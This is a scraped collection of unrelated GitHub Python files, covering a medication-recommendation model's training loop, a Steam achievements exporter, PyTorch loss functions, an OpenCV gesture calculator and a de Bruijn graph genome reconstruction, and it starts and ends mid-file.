data_eval, voc_size, epoch, val=0, threshold1=0.8, threshold2=0.2):\n model.eval()\n\n smm_record = []\n ja, prauc, avg_p, avg_r, avg_f1 = [[] for _ in range(5)]\n med_cnt, visit_cnt = 0, 0\n label_list, prob_list = [], []\n add_list, delete_list = [], []\n # 不同visit的指标统计\n ja_by_visit = [[] for _ in range(5)]\n prauc_by_visit = [[] for _ in range(5)]\n pre_by_visit = [[] for _ in range(5)]\n recall_by_visit = [[] for _ in range(5)]\n f1_by_visit = [[] for _ in range(5)]\n smm_record_by_visit = [[] for _ in range(5)]\n\n for step, input in enumerate(data_eval):\n y_gt, y_pred, y_pred_prob, y_pred_label = [], [], [], []\n add_temp_list, delete_temp_list = [], []\n if len(input) < 2: continue\n for adm_idx, adm in enumerate(input):\n # 第0个visit也要添加到结果中去\n y_gt_tmp = np.zeros(voc_size[2])\n y_gt_tmp[adm[2]] = 1\n y_gt.append(y_gt_tmp)\n label_list.append(y_gt_tmp)\n\n if adm_idx == 0:\n representation_base, _, _, _, _ = model(input[:adm_idx+1])\n # 第0个visit也添加\n y_pred_tmp = F.sigmoid(representation_base).detach().cpu().numpy()[0]\n y_pred_prob.append(y_pred_tmp)\n prob_list.append(y_pred_tmp)\n\n y_old = np.zeros(voc_size[2])\n y_old[y_pred_tmp>=threshold1] = 1\n y_old[y_pred_tmp=threshold1] = 1\n y_old[y_pred_tmp 1:\n add_list.append(np.mean(add_temp_list))\n delete_list.append(np.mean(delete_temp_list))\n elif len(add_temp_list) == 1:\n add_list.append(add_temp_list[0])\n delete_list.append(delete_temp_list[0])\n\n smm_record.append(y_pred_label)\n adm_ja, adm_prauc, adm_avg_p, adm_avg_r, adm_avg_f1 = multi_label_metric(np.array(y_gt), np.array(y_pred), np.array(y_pred_prob))\n\n ja.append(adm_ja)\n prauc.append(adm_prauc)\n avg_p.append(adm_avg_p)\n avg_r.append(adm_avg_r)\n avg_f1.append(adm_avg_f1)\n llprint('\\rtest step: {} / {}'.format(step, len(data_eval)))\n\n # 分析各个visit的结果\n print('\\tvisit1\\tvisit2\\tvisit3\\tvisit4\\tvisit5')\n print('count:', [len(buf) for buf in ja_by_visit])\n print('prauc:', [np.mean(buf) for buf in prauc_by_visit])\n print('jaccard:', [np.mean(buf) for buf in ja_by_visit])\n print('precision:', [np.mean(buf) for buf in pre_by_visit])\n print('recall:', [np.mean(buf) for buf in recall_by_visit])\n print('f1:', [np.mean(buf) for buf in f1_by_visit])\n print('DDI:', [ddi_rate_score(buf) for buf in smm_record_by_visit])\n\n # ddi rate\n ddi_rate = ddi_rate_score(smm_record, path='../data/ddi_A_final.pkl')\n\n llprint('\\nDDI Rate: {:.4}, Jaccard: {:.4}, PRAUC: {:.4}, AVG_F1: {:.4}, Add: {:.4}, Delete: {:.4}, AVG_MED: {:.4}\\n'.format(\n ddi_rate, np.mean(ja), np.mean(prauc), np.mean(avg_f1), np.mean(add_list), np.mean(delete_list), med_cnt / visit_cnt\n ))\n\n if val == 0:\n return ddi_rate, np.mean(ja), np.mean(prauc), np.mean(avg_p), np.mean(avg_r), np.mean(avg_f1), np.mean(add_list), np.mean(delete_list), med_cnt / visit_cnt\n else:\n return np.array(label_list), np.array(prob_list)\n\n\ndef main():\n \n # load data\n data_path = '../data/records_final.pkl'\n voc_path = '../data/voc_final.pkl'\n\n ddi_adj_path = '../data/ddi_A_final.pkl'\n device = torch.device('cuda')\n\n ddi_adj = dill.load(open(ddi_adj_path, 'rb'))\n data = dill.load(open(data_path, 'rb')) \n\n voc = dill.load(open(voc_path, 'rb'))\n diag_voc, pro_voc, med_voc = voc['diag_voc'], voc['pro_voc'], voc['med_voc']\n\n # np.random.seed(1203)\n # np.random.shuffle(data)\n\n # \"添加第一个visit\"\n # new_data = []\n # for patient in data:\n # patient.insert(0, [[],[],[]])\n # # patient.insert(0, patient[0])\n # new_data.append(patient)\n # data = new_data\n\n split_point = int(len(data) * 2 / 3)\n data_train = data[:split_point]\n eval_len = int(len(data[split_point:]) / 2)\n data_test = data[split_point:split_point + eval_len]\n data_eval = data[split_point+eval_len:]\n\n voc_size = (len(diag_voc.idx2word), len(pro_voc.idx2word), len(med_voc.idx2word))\n\n model = MICRON(voc_size, ddi_adj, emb_dim=args.dim, device=device)\n # model.load_state_dict(torch.load(open(args.resume_path, 'rb')))\n\n if args.Test:\n model.load_state_dict(torch.load(open(args.resume_path, 'rb')))\n model.to(device=device)\n tic = time.time()\n label_list, prob_list = eval(model, data_eval, voc_size, 0, 1)\n\n threshold1, threshold2 = [], []\n for i in range(label_list.shape[1]):\n _, _, boundary = roc_curve(label_list[:, i], prob_list[:, i], pos_label=1)\n # boundary1 should be in [0.5, 0.9], boundary2 should be in [0.1, 0.5]\n threshold1.append(min(0.9, max(0.5, boundary[max(0, round(len(boundary) * 0.05) - 1)])))\n threshold2.append(max(0.1, min(0.5, boundary[min(round(len(boundary) * 0.95), len(boundary) - 1)])))\n print (np.mean(threshold1), np.mean(threshold2))\n threshold1 = np.ones(voc_size[2]) * np.mean(threshold1)\n threshold2 = np.ones(voc_size[2]) * np.mean(threshold2)\n eval(model, data_test, voc_size, 0, 0, threshold1, threshold2)\n print ('test time: {}'.format(time.time() - tic))\n\n result = []\n for _ in range(10):\n test_sample = np.random.choice(data_test, round(len(data_test) * 0.8), replace=True)\n ddi_rate, ja, prauc, avg_p, avg_r, avg_f1, avg_add, avg_del, avg_med = eval(model, test_sample, voc_size, 0)\n result.append([ddi_rate, ja, avg_f1, prauc, avg_med])\n \n result = np.array(result)\n mean = result.mean(axis=0)\n std = result.std(axis=0)\n\n outstring = \"\"\n for m, s in zip(mean, std):\n outstring += \"{:.4f} $\\pm$ {:.4f} & \".format(m, s)\n\n print (outstring)\n\n print ('test time: {}'.format(time.time() - tic))\n return \n\n model.to(device=device)\n print('parameters', get_n_params(model))\n # exit()\n optimizer = RMSprop(list(model.parameters()), lr=args.lr, weight_decay=args.weight_decay)\n\n # start iterations\n history = defaultdict(list)\n best_epoch, best_ja = 0, 0\n\n weight_list = [[0.25, 0.25, 0.25, 0.25]]\n\n EPOCH = 40\n for epoch in range(EPOCH):\n t = 0\n tic = time.time()\n print ('\\nepoch {} --------------------------'.format(epoch + 1))\n \n sample_counter = 0\n mean_loss = np.array([0, 0, 0, 0])\n\n model.train()\n for step, input in enumerate(data_train):\n loss = 0\n if len(input) < 2: continue\n for adm_idx, adm in enumerate(input):\n \"\"\"第一个visit也参与训练\"\"\"\n # if adm_idx == 0: continue \n # sample_counter += 1\n seq_input = input[:adm_idx+1]\n\n loss_bce_target = np.zeros((1, voc_size[2]))\n loss_bce_target[:, adm[2]] = 1\n\n loss_bce_target_last = np.zeros((1, voc_size[2]))\n if adm_idx > 0:\n loss_bce_target_last[:, input[adm_idx-1][2]] = 1\n\n loss_multi_target = np.full((1, voc_size[2]), -1)\n for idx, item in enumerate(adm[2]):\n loss_multi_target[0][idx] = item\n\n loss_multi_target_last = np.full((1, voc_size[2]), -1)\n if adm_idx > 0:\n for idx, item in enumerate(input[adm_idx-1][2]):\n loss_multi_target_last[0][idx] = item\n\n result, result_last, _, loss_ddi, loss_rec = model(seq_input)\n\n loss_bce = 0.75 * F.binary_cross_entropy_with_logits(result, torch.FloatTensor(loss_bce_target).to(device)) + \\\n (1 - 0.75) * F.binary_cross_entropy_with_logits(result_last, torch.FloatTensor(loss_bce_target_last).to(device))\n loss_multi = 5e-2 * (0.75 * F.multilabel_margin_loss(F.sigmoid(result), torch.LongTensor(loss_multi_target).to(device)) + \\\n (1 - 0.75) * F.multilabel_margin_loss(F.sigmoid(result_last), torch.LongTensor(loss_multi_target_last).to(device)))\n\n y_pred_tmp = F.sigmoid(result).detach().cpu().numpy()[0]\n y_pred_tmp[y_pred_tmp >= 0.5] = 1\n y_pred_tmp[y_pred_tmp < 0.5] = 0\n y_label = np.where(y_pred_tmp == 1)[0]\n current_ddi_rate = ddi_rate_score([[y_label]], path='../data/ddi_A_final.pkl')\n \n # l2 = 0\n # for p in model.parameters():\n # l2 = l2 + (p ** 2).sum()\n \n if sample_counter == 0:\n lambda1, lambda2, lambda3, lambda4 = weight_list[-1]\n else:\n current_loss = np.array([loss_bce.detach().cpu().numpy(), loss_multi.detach().cpu().numpy(), loss_ddi.detach().cpu().numpy(), loss_rec.detach().cpu().numpy()])\n current_ratio = (current_loss - np.array(mean_loss)) / np.array(mean_loss)\n instant_weight = np.exp(current_ratio) / sum(np.exp(current_ratio))\n lambda1, lambda2, lambda3, lambda4 = instant_weight * 0.75 + np.array(weight_list[-1]) * 0.25\n # update weight_list\n weight_list.append([lambda1, lambda2, lambda3, lambda4])\n # update mean_loss\n mean_loss = (mean_loss * (sample_counter - 1) + np.array([loss_bce.detach().cpu().numpy(), \\\n loss_multi.detach().cpu().numpy(), loss_ddi.detach().cpu().numpy(), loss_rec.detach().cpu().numpy()])) / sample_counter\n # lambda1, lambda2, lambda3, lambda4 = weight_list[-1]\n if current_ddi_rate > 0.08:\n loss += lambda1 * loss_bce + lambda2 * loss_multi + \\\n lambda3 * loss_ddi + lambda4 * loss_rec\n else:\n loss += lambda1 * loss_bce + lambda2 * loss_multi + \\\n lambda4 * loss_rec\n\n optimizer.zero_grad()\n loss.backward(retain_graph=True)\n optimizer.step()\n\n llprint('\\rtraining step: {} / {}'.format(step, len(data_train)))\n \n print()\n tic2 = time.time() \n ddi_rate, ja, prauc, avg_p, avg_r, avg_f1, add, delete, avg_med = eval(model, data_eval, voc_size, epoch)\n print ('training time: {}, test time: {}'.format(time.time() - tic, time.time() - tic2))\n\n history['ja'].append(ja)\n history['ddi_rate'].append(ddi_rate)\n history['avg_p'].append(avg_p)\n history['avg_r'].append(avg_r)\n history['avg_f1'].append(avg_f1)\n history['prauc'].append(prauc)\n history['add'].append(add)\n history['delete'].append(delete)\n history['med'].append(avg_med)\n\n if epoch >= 5:\n print ('ddi: {}, Med: {}, Ja: {}, F1: {}, Add: {}, Delete: {}'.format(\n np.mean(history['ddi_rate'][-5:]),\n np.mean(history['med'][-5:]),\n np.mean(history['ja'][-5:]),\n np.mean(history['avg_f1'][-5:]),\n np.mean(history['add'][-5:]),\n np.mean(history['delete'][-5:])\n ))\n\n torch.save(model.state_dict(), open(os.path.join('saved', args.model_name, \\\n 'Epoch_{}_JA_{:.4}_DDI_{:.4}.model'.format(epoch, ja, ddi_rate)), 'wb'))\n\n if epoch != 0 and best_ja < ja:\n best_epoch = epoch\n best_ja = ja\n\n print ('best_epoch: {}'.format(best_epoch))\n\n dill.dump(history, open(os.path.join('saved', args.model_name, 'history_{}.pkl'.format(args.model_name)), 'wb'))\n\nif __name__ == '__main__':\n main()\n","repo_name":"BarryRun/COGNet","sub_path":"src/MICRON.py","file_name":"MICRON.py","file_ext":"py","file_size_in_byte":16378,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"78"}
+{"seq_id":"32100821210","text":"\"\"\"\nName : objects.py\nAuthor : Chayma Zatout\nContact : _\nTime : 26/01/21 02:51 م\nDesc:\n\"\"\"\n\nimport numpy as np\n\n\nclass Segment:\n\n def __init__(self, pcd, ymin, name=None):\n self.pcd = pcd\n self.classe = name\n self.ymin = ymin\n\n def centroid(self):\n xs = np.array([p[0] for p in self.pcd])\n ys = np.array([p[1] for p in self.pcd])\n zs = np.array([p[2] for p in self.pcd])\n\n return [(np.percentile(xs, 10) + np.percentile(xs, 90)) / 2,\n np.percentile(ys, 90),\n (np.percentile(zs, 10) + np.percentile(zs, 90)) / 2]\n\n def height(self):\n ys = np.array([p[1] for p in self.pcd])\n return abs(np.percentile(ys, 95) - self.ymin)\n\n def height_class(self, b25, b75):\n height = self.height()\n if height < b25:\n return 1\n elif height < b75:\n return 2\n else:\n return 3\n","repo_name":"ChaymaZatout/BASISR","sub_path":"objects.py","file_name":"objects.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"8440909941","text":"import os\nimport string\nimport requests\nfrom dotenv import load_dotenv\n\nload_dotenv()\nSTEAM_API_KEY = os.getenv('STEAM_API_KEY')\nSTEAM_USER_ID = os.getenv('STEAM_USER_ID')\n\ndef get_all_achievemnts_for_game(game_id):\n url = f'https://api.steampowered.com/ISteamUserStats/GetSchemaForGame/v2/?key={STEAM_API_KEY}&appid={game_id}'\n response = requests.get(url)\n if response.status_code != 200:\n return None\n return response.json()\n\ndef get_users_achievements(game_id):\n url = f'http://api.steampowered.com/ISteamUserStats/GetPlayerAchievements/v0001/?appid={game_id}&key={STEAM_API_KEY}&steamid={STEAM_USER_ID}'\n response = requests.get(url)\n if response.status_code != 200:\n return None\n return response.json()\n\ndef format_achievements(achievements, user_achievements):\n formatted_achievements = {}\n formatted_achievements['name'] = user_achievements[\"playerstats\"][\"gameName\"]\n formatted_achievements['achievements'] = []\n user_achievements_array = []\n for achievement in user_achievements[\"playerstats\"][\"achievements\"]:\n achievement_dict = {}\n achievement_dict['api_name'] = achievement['apiname']\n achievement_dict['achieved'] = achievement['achieved']\n all_achievements = achievements['game']['availableGameStats']['achievements']\n a = list(filter(lambda achievement_name_dict: achievement_name_dict['name'] == achievement['apiname'], all_achievements))[0]\n achievement_dict['name'] = a['displayName']\n achievement_dict['description'] = a['description'] if 'description' in a else \"Hidden\"\n user_achievements_array.append(achievement_dict)\n formatted_achievements['achievements'] = user_achievements_array \n return formatted_achievements\n\ndef print_to_csv(achievements):\n all_achievements = achievements['achievements']\n with open(f'achievements_{format_filename(achievements[\"name\"])}.csv', 'w') as f:\n f.write('Name,Discription,Achieved\\n')\n for achievement in all_achievements:\n f.write(f\"{format_for_csv(achievement['name'])},{format_for_csv(achievement['description'])},{achievement['achieved']}\\n\")\n\ndef format_for_csv(s):\n return s.replace(',', ' ')\n\ndef format_filename(s):\n \"\"\"Take a string and return a valid filename constructed from the string.\n Uses a whitelist approach: any characters not present in valid_chars are\n removed. Also spaces are replaced with underscores.\n \n Note: this method may produce invalid filenames such as ``, `.` or `..`\n When I use this method I prepend a date string like '2009_01_15_19_46_32_'\n and append a file extension like '.txt', so I avoid the potential of using\n an invalid filename.\n \"\"\"\n valid_chars = \"-_.() %s%s\" % (string.ascii_letters, string.digits)\n filename = ''.join(c for c in s if c in valid_chars)\n filename = filename.replace(' ','_') # I don't like spaces in filenames.\n return filename\n\ndef main():\n game_id = input('Enter game id: ')\n achievements = get_all_achievemnts_for_game(game_id)\n user_achievements = get_users_achievements(game_id)\n if achievements is None:\n print('Could not retrieve achievements')\n return\n formatted_achievements = format_achievements(achievements, user_achievements)\n print_to_csv(formatted_achievements)\n\nif __name__ == '__main__':\n main()\n","repo_name":"cberry31/SLB-server","sub_path":"achievements_to_csv.py","file_name":"achievements_to_csv.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13976451254","text":"import math\nimport torch\nfrom torch import Tensor\nfrom torch.autograd import Variable\nfrom .layers import ProbabilisticDense\n\n\ndef log_gaussian(x, mu, sigma):\n assert x.size() == mu.size() == sigma.size()\n\n log_sigma = torch.log(sigma)\n # log(2 * pi) == 1.8378770664093453\n log2pi_2 = Variable(Tensor([1.8378770664093453 / 2]))\n log2pi_2 = log2pi_2.expand_as(mu)\n\n return -log_sigma - log2pi_2 - (x - mu)**2 / (2 * sigma**2)\n\n\ndef mean_squared_error(true, pred):\n return ((true - pred)**2).mean()\n\n\ndef binary_crossentropy(true, pred, eps=1e-9):\n p1 = true * torch.log(pred + eps)\n p2 = (1 - true) * torch.log(1 - pred + eps)\n return torch.mean(-(p1 + p2))\n\n\ndef categorical_crossentropy(true, pred, eps=1e-9):\n return torch.mean(-torch.sum(true * torch.log(pred + eps), dim=1))\n\n\ndef variational_loss(model, negative_log_likelihood):\n negative_log_likelihood = get(negative_log_likelihood)\n prior_ratio = 0.5\n prior_mu = Variable(Tensor([0.0]))\n prior_sigma1 = Variable(Tensor([1.0]))\n prior_sigma2 = Variable(Tensor([0.5]))\n\n def loss(true, pred):\n log_p = Variable(torch.Tensor([0.0]))\n log_q = Variable(torch.Tensor([0.0]))\n for layer in model.layers:\n if type(layer) is ProbabilisticDense:\n # prior\n mu = prior_mu.expand_as(layer.W)\n sigma1 = prior_sigma1.expand_as(layer.W)\n sigma2 = prior_sigma2.expand_as(layer.W)\n p1 = prior_ratio * log_gaussian(layer.W, mu, sigma1)\n p2 = (1 - prior_ratio) * log_gaussian(layer.W, mu, sigma2)\n log_p += torch.sum(p1 + p2)\n\n mu = prior_mu.expand_as(layer.b)\n sigma1 = prior_sigma1.expand_as(layer.b)\n sigma2 = prior_sigma2.expand_as(layer.b)\n p1 = prior_ratio * log_gaussian(layer.b, mu, sigma1)\n p2 = (1 - prior_ratio) * log_gaussian(layer.b, mu, sigma2)\n log_p += torch.sum(p1 + p2)\n\n # posterior\n sigma = torch.log1p(torch.exp(layer.W_rho))\n log_q += log_gaussian(layer.W, layer.W_mu, sigma).sum()\n sigma = torch.log1p(torch.exp(layer.b_rho))\n log_q += log_gaussian(layer.b, layer.b_mu, sigma).sum()\n\n ll = -negative_log_likelihood(true, pred)\n return ((log_q - log_p) / model.batches - ll) / model.batch_size\n return loss\n\n# aliases short names\nmse = mean_squared_error\n\n\ndef get(obj):\n if callable(obj):\n return obj\n elif type(obj) is str:\n if obj in globals():\n return globals()[obj]\n else:\n raise Exception(f'Unknown loss: {obj}')\n else:\n raise Exception('Loss must be a callable or str')\n","repo_name":"ramon-oliveira/aorun","sub_path":"aorun/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"78"}
+{"seq_id":"28940520380","text":"import numpy as np\nimport cv2\nfrom keras.models import load_model\n\n#start capturing the video\ncap = cv2.VideoCapture(0)\n\n#dimensions of the region of interest\nx = 50\ny = 60\nw = 200\nh = 200\n\n#get weights from the trained model\nmodel = load_model('model.h5')\n\n#this function is used to predict the image\ndef predictionImage(roi,thresh):\n\timg = np.zeros_like(roi,np.float32)\n\n\t#converting 1 channel threshold image to 3 channel image for our model\n\timg[:,:,0] = thresh\n\timg[:,:,1] = thresh\n\timg[:,:,2] = thresh\n\timg = img.reshape(1,200,200,3)\n\t#normalizing the image\n\timg /= 255.\n\n\treturn img\n\n#preprocessing as done while creating the dataset\ndef imagePreprocess(frame):\n\n\tcv2.rectangle(frame,(x,y),(w+x,h+y),(0,255,0),2)\n\troi = frame[y:h+y,x:w+x]\n\n\thsv = cv2.cvtColor(roi,cv2.COLOR_BGR2HSV)\n\t#mask for thresholding the skin color\n\tmask = cv2.inRange(hsv,np.array([2,20,50]),np.array([30,255,255]))\n\n\t#reducing the noise in the image\n\tkernel = np.ones((5,5))\n\tblur = cv2.GaussianBlur(mask,(5,5),1)\n\tdilation = cv2.dilate(blur,kernel,iterations = 1)\n\terosion = cv2.erode(dilation,kernel,iterations=1)\n\tret,thresh = cv2.threshold(erosion,127,255,0)\n\n\t#get image to be used for prediciton\n\timg = predictionImage(roi,thresh)\n\t\n\n\treturn mask,thresh,img\n\n#write the predicted text\ndef writeTextToWindow(img,text,default_x_calc,default_y_calc):\n\tfontscale = 1.0\n\tcolor = (0, 0, 0)\n\tfontface = cv2.FONT_HERSHEY_COMPLEX_SMALL\n\tcv2.putText(img, str(text), (default_x_calc, default_y_calc), fontface, fontscale, color)\n\t\n\n\treturn img\n\n#this array contains the first and the second operand that is to be used in calculation\npredArray = [-1,-1]\n\n#dimensions used while writing the predicted text\ndefault_y_calc = 80\t\ndefault_x_calc = 25\n\n\npredCount = 0 #for confirming the number displayed\npredPrev = 0\n\n#space for writing the predicted text\nresult = np.zeros((300,300,3),np.uint8)\nresult.fill(255) #fill result window(make it white)\ncv2.putText(result,\"Calculator\", (25, 40), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.0, (0,0,0))\n\n\nwhile True:\n\tret,frame = cap.read() #read frame\n\t\n\tmask,thresh,img = imagePreprocess(frame)\n\n\t\n\n\t#if we get the same prediction for 15 times, we take it as the confirmed prediction\n\tif predCount > 15:\n\t\tprint('Prediction: ' + str(predPrev))\n\t\t\n\t\t#check whether it is the first operand or the second\n\t\tif predArray[0] == -1: \n\t\t\tpredArray[0] = predPrev\n\t\t\tstring = '{} + '.format(predArray[0])\n\t\t\twriteTextToWindow(result,string,default_x_calc,default_y_calc)\n\t\t\tdefault_x_calc += 20\n\n\t\telse:\n\t\t\tdefault_x_calc += 40\n\t\t\tpredArray[1] = predPrev\n\t\t\tstring = '{} = {}'.format(predArray[1],np.sum(predArray,axis=0))\n\t\t\twriteTextToWindow(result,string,default_x_calc,default_y_calc)\n\n\t\t\tdefault_x_calc = 25\n\t\t\tdefault_y_calc += 30\n\n\t\t\tprint(\"Sum: {}\".format(np.sum(predArray,axis=0)))\n\t\t\tpredArray = [-1,-1] #reset the values of the operands\n\t\tpredCount = 0 #start counting again to get the next prediction\n\n\t\n\tpredict = model.predict(img) #predict the number\n\tpred = predict.argmax() \n\t#increase predCount only if the previous prediction matches with our current prediction\n\tif predPrev == pred:\n\t\tpredCount+=1\n\telse:\n\t\tpredCount = 0\n\n\tpredPrev = pred\n\t\n\t\n\t#showing the required windows\n\tcv2.imshow(\"result\",result) #window for prediciton\n\tcv2.imshow('frame',frame) #main webcam window\n\t#cv2.imshow('roi',mask)\n\tcv2.imshow('thresh',thresh) #window to show the thresholded image that is being used for prediction\n\n\n\tk = cv2.waitKey(30) & 0xff #exit if Esc is pressed\n\tif k == 27:\n\t\tbreak\n\ncap.release() #release the webcam\ncv2.destroyAllWindows() #destroy the window","repo_name":"vibhusehra/Gesture-Calculator","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":3570,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"39075431563","text":"# python3\r\n\r\nimport sys\r\n\r\n'''\r\nSolve the String Reconstruction from Read-Pairs Problem.\r\n Input: Integers k and d followed by a collection of paired k-mers PairedReads.\r\n Output: A string Text with (k, d)-mer composition equal to PairedReads.\r\n'''\r\n\r\nclass EulerianPath:\r\n def __init__(self, adj):\r\n self.adj = adj\r\n self.updateAdj()\r\n\r\n def updateAdj(self):\r\n self.n = len(self.adj)\r\n self.nUnEdges = 0 # number of unexplored edges\r\n self.nodesWUE = dict() # key: node with unused edges; value: the position of such node in the current path\r\n self.inDeg = dict()\r\n self.outDeg = dict()\r\n self.adjCurPos = dict()\r\n self.path = []\r\n self.unbalancedNode = []\r\n for w, vList in self.adj.items():\r\n self.inDeg[w] = self.inDeg.get(w, 0)\r\n for v in vList:\r\n self.inDeg[v] = self.inDeg.get(v, 0) + 1\r\n l = len(vList)\r\n self.outDeg[w] = l\r\n self.nUnEdges += l\r\n self.adjCurPos[w] = 0\r\n\r\n def _input(self):\r\n data = list(sys.stdin.read().strip().split())\r\n curMax = 0\r\n for i in range(len(data) // 3):\r\n curMax = max(int(data[i*3]), curMax, max(list(map(int, data[i*3+2].split(',')))))\r\n self.n = curMax + 1\r\n self.adj = [[]] * self.n\r\n self.unusedEdges = [[]] * self.n\r\n self.inDeg = [0] * self.n\r\n self.outDeg = [0] * self.n\r\n self.adjCurPos = [0] * self.n\r\n for i in range(len(data) // 3):\r\n curIn = int(data[i*3])\r\n self.adj[curIn] = list(map(int, data[i*3+2].split(',')))\r\n for v in self.adj[curIn]:\r\n self.inDeg[v] += 1\r\n l = len(self.adj[curIn])\r\n self.outDeg[curIn] = l\r\n self.nUnEdges += l\r\n \r\n def addEdge(self):\r\n if type(self.adj) is dict:\r\n for v in self.adj.keys():\r\n if self.inDeg[v] != self.outDeg[v]:\r\n if self.inDeg[v] < self.outDeg[v]:\r\n self.unbalancedNode.append(v)\r\n else:\r\n self.unbalancedNode.insert(0, v)\r\n if len(self.unbalancedNode) > 0:\r\n self.adj[self.unbalancedNode[0]].append(self.unbalancedNode[1])\r\n self.outDeg[self.unbalancedNode[0]] += 1\r\n self.inDeg[self.unbalancedNode[1]] += 1\r\n return \r\n for v in range(self.n):\r\n if self.inDeg[v] != self.outDeg[v]:\r\n if self.inDeg[v] < self.outDeg[v]:\r\n self.unbalancedNode.append(v)\r\n else:\r\n self.unbalancedNode.insert(0, v)\r\n if len(self.unbalancedNode) > 0:\r\n self.adj[self.unbalancedNode[0]].append(self.unbalancedNode[1])\r\n self.outDeg[self.unbalancedNode[0]] += 1\r\n self.inDeg[self.unbalancedNode[1]] += 1\r\n return\r\n \r\n def explore(self, s):\r\n self.path.append(s)\r\n curPos = self.adjCurPos[s]\r\n curMaxPos = self.outDeg[s]\r\n while curPos < curMaxPos:\r\n self.adjCurPos[s] = curPos + 1\r\n if curPos + 1 < curMaxPos:\r\n self.nodesWUE[s] = len(self.path) - 1\r\n else:\r\n if s in self.nodesWUE:\r\n del self.nodesWUE[s]\r\n v = self.adj[s][curPos]\r\n self.path.append(v)\r\n s = v\r\n curPos = self.adjCurPos[s]\r\n curMaxPos = self.outDeg[s]\r\n self.nUnEdges -= 1\r\n return\r\n\r\n def updatePath(self, startPos):\r\n l = len(self.path) - 1\r\n self.path = self.path[startPos:l] + self.path[:startPos]\r\n for node, pos in self.nodesWUE.items():\r\n if pos < startPos:\r\n self.nodesWUE[node] = pos + l - startPos\r\n else:\r\n self.nodesWUE[node] = pos - startPos\r\n return\r\n\r\n def calculateEulerianCycle(self):\r\n if type(self.adj) is dict:\r\n w, vList = self.adj.popitem()\r\n self.adj[w] = vList\r\n self.explore(w)\r\n else:\r\n self.explore(0)\r\n while self.nUnEdges > 0:\r\n node, pos = self.nodesWUE.popitem()\r\n self.updatePath(pos)\r\n self.explore(node)\r\n return self.path\r\n \r\n def calculateEulerianPath(self):\r\n self.addEdge()\r\n self.calculateEulerianCycle()\r\n if len(self.unbalancedNode) > 0:\r\n for i in range(len(self.path)-1):\r\n if self.path[i] == self.unbalancedNode[0] and self.path[i+1] == self.unbalancedNode[1]:\r\n self.updatePath(i+1)\r\n break\r\n return self.path \r\n\r\n def printPath(self):\r\n print('->'.join([str(node) for node in self.path])) \r\n\r\n def saveResult(self):\r\n f = open('result.txt', 'w')\r\n f.write('->'.join([str(node) for node in self.path]))\r\n\r\nclass StringReconstruction:\r\n def __init__(self):\r\n self.adj = self.readData()\r\n self.path = EulerianPath(self.adj).calculateEulerianPath()\r\n print(self.reconstructFromPath(self.path))\r\n\r\n def readData(self):\r\n data = list(sys.stdin.read().strip().split())\r\n adj = self.DeBrujin(int(data[0]), data[1:]) \r\n return adj\r\n \r\n def DeBrujin(self, k, patterns):\r\n adjdb = dict()\r\n for p in patterns:\r\n if p[:k-1] in adjdb:\r\n adjdb[p[:k-1]].append(p[1:])\r\n else:\r\n adjdb[p[:k-1]] = []\r\n adjdb[p[:k-1]].append(p[1:])\r\n if p[1:] not in adjdb:\r\n adjdb[p[1:]] = []\r\n return adjdb\r\n\r\n def reconstructFromPath(self, path):\r\n return path[0] + ''.join(seq[-1] for seq in path[1:])\r\n\r\nclass StringReconstruction2: #String reconstruction from paired reads\r\n def __init__(self):\r\n self.k, self.d, self.adj = self.readData()\r\n self.path = EulerianPath(self.adj).calculateEulerianPath()\r\n print(self.StringSpelledByGappedPatterns(self.path, self.k, self.d)) \r\n\r\n def readData(self):\r\n data = list(sys.stdin.read().strip().split())\r\n k, d = int(data[0]), int(data[1])\r\n patterns = [tuple(p.split('|')) for p in data[2:]]\r\n adj = self.DeBrujin(k, patterns)\r\n return k, d, adj\r\n\r\n def DeBrujin(self, k, patterns):\r\n adjdb = dict()\r\n for p in patterns:\r\n pl = tuple([p[0][:k-1], p[1][:k-1]])\r\n pr = tuple([p[0][1:], p[1][1:]])\r\n if pl in adjdb:\r\n adjdb[pl].append(pr)\r\n else:\r\n adjdb[pl] = []\r\n adjdb[pl].append(pr)\r\n if pr not in adjdb:\r\n adjdb[pr] = []\r\n return adjdb\r\n \r\n def StringSpelledByGappedPatterns(self, patterns, k, d):\r\n firstPatterns = patterns[0][0] + ''.join([p[0][-1] for p in patterns[1:]])\r\n secondPatterns = patterns[0][1] + ''.join([p[1][-1] for p in patterns[1:]])\r\n l = len(firstPatterns)\r\n if firstPatterns[k+d:] == secondPatterns[:l-k-d]:\r\n return firstPatterns + secondPatterns[-(k+d):]\r\n else:\r\n return 'there is no string spelled by the gapped patterns' \r\n\r\nif __name__ == \"__main__\":\r\n StringReconstruction2()","repo_name":"xuwd11/Coursera-Bioinformatics","sub_path":"22_StringReconstruction2.py","file_name":"22_StringReconstruction2.py","file_ext":"py","file_size_in_byte":7341,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"78"}
+{"seq_id":"7085989287","text":"#-------------------------------------------------------------------------------------------------------------------\n# Packages & Settings\n#-------------------------------------------------------------------------------------------------------------------\n\n# General packages\nimport time\nimport sys\nimport os\nimport datetime\nfrom glob import glob\nimport shutil\n\n# Math and data structure packages\nfrom scipy import stats\nfrom scipy.optimize import curve_fit\nfrom pylab import *\n\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\nimport pickle as pkl\n\nfrom scipy.stats import spearmanr\n\ndata_folder = '/home/rettenls/data/experiments/semeval/texts/'\nexp_folder = '/home/rettenls/data/experiments/semeval/experiments/'\n\n#-------------------------------------------------------------------------------------------------------------------\n# Loading own Modules\n#-------------------------------------------------------------------------------------------------------------------\n\nimport sys\nsys.path.append(\"/home/rettenls/code/\")\n\nfrom lib.model \t\t\timport Model\nfrom lib.trafo \t\t\timport Transformation\nfrom lib.eval \t\t\timport print_nn_word, get_nn_list, get_cosine_similarity, get_ww_pip_norm\nfrom lib.score 